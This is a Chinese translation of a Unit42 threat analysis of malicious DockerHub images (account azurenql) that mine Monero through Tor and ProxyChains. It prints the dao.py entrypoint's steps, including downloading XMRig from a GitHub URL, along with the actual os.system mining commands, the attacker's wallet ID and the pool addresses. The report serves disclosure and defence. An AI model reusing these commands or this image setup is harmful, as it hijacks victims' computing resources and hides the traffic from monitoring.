简介

Docker容器是一种对软件进行打包处理的便捷方式，因此采用率不断增加。Unit42研究人员发现了一个名为azurenql的DockerHub社区用户账号，其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图：

图1.DockerHub上的恶意Docker镜像

表1是DockerHub账户的所有镜像，下载次数最多的镜像被下载了147万次。

表1.DockerHub账户上的镜像总结

Docker镜像结构

研究人员检查了azurenql/227_135:442的镜像结构，该镜像是按如下步骤构造的：

1、使用Ubuntu16.04.6LTS比如gcc、make、python等；

3、安装tor来对流量进行匿名处理，配置为默认端口9050；

/etc/tor/torrc

127.0.0.1:9050

4、复制ProxyChains-NG源并从该源构造。ProxyChains的配置为默认配置来通过本地TorSOCKS代理连接来路由流量。

/usr/local/etc/proxychains.conf

[ProxyList]

#defaultssetto"tor"

socks4127.0.0.19050

5、复制挖矿软件XMRig的源，并从该源构造。

6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。

图2.镜像构造顺序

脚本dao.py分析

镜像的作者包括了一个定制的Python脚本——dao.py，复制在容器内开启挖矿进程。如前所述，脚本被注册为镜像的Entrypoint，因此镜像启动后，脚本就会运行。

"Entrypoint":[

"/bin/sh",

"-c",

"python/etc/dao.py"

],

表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py脚本的差异在于使用不同的XMRig命令行调用，如表2所示。

dao.py脚本的执行流如下所示：

1、计算系统内CPU核的数量；

2、设置hugepages系统特征来增加哈希率；

图3.设置hugepages系统特征来增加哈希率

3、安装Tor和构建依赖关系。

4、如果没有安装proxychains-ng，就从https://github.com/rofl0r/proxychains-ng.git安装；

5、如果/usr/local/bin中没有XMRig二进制文件（dll），就从https://github.com/nguyennhatduy2608/azures/raw/master/下载；

6、在/usr/local/binand/usr/bin中对XMRig二进制文件进行系统链接；

7、在后台启动Tor。

8、通过代理链来启动矿工，通过本地TorSOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示：

图4.使用proxychains启动挖矿的命令

脚本的执行工作流如图5所示：

图5.dao.py脚本执行序列

表2dao.py脚本中使用了的不同的挖矿命令

挖矿基础设施

加密货币挖矿是解决复杂的计算难题，用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中，攻击者使用钱包ID直接提交挖到的区块到中心minexmr矿池。

os.system("xmrig--av=7--variant1--donate-level=0-o

stratum+tcp://pool.minexmr.com:4444-u

43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2

Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001")

图6是钱包地址2020年4月-5月之间的挖矿活动。

图6.钱包ID活动

图7表明该钱包ID已经挖到了525.38XMR（门罗币），约合3.6万美元。

图7.钱包ID挖到的门罗币

第二种方法中，攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。

表2中的CryptoCommand列给出了该方法的示例：

os.system("proxychains4"+program+"--donate-level1-o

stratum+tcp://66.42.93.164:442--tls-t"+str(cores))

参考及来源：https://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/

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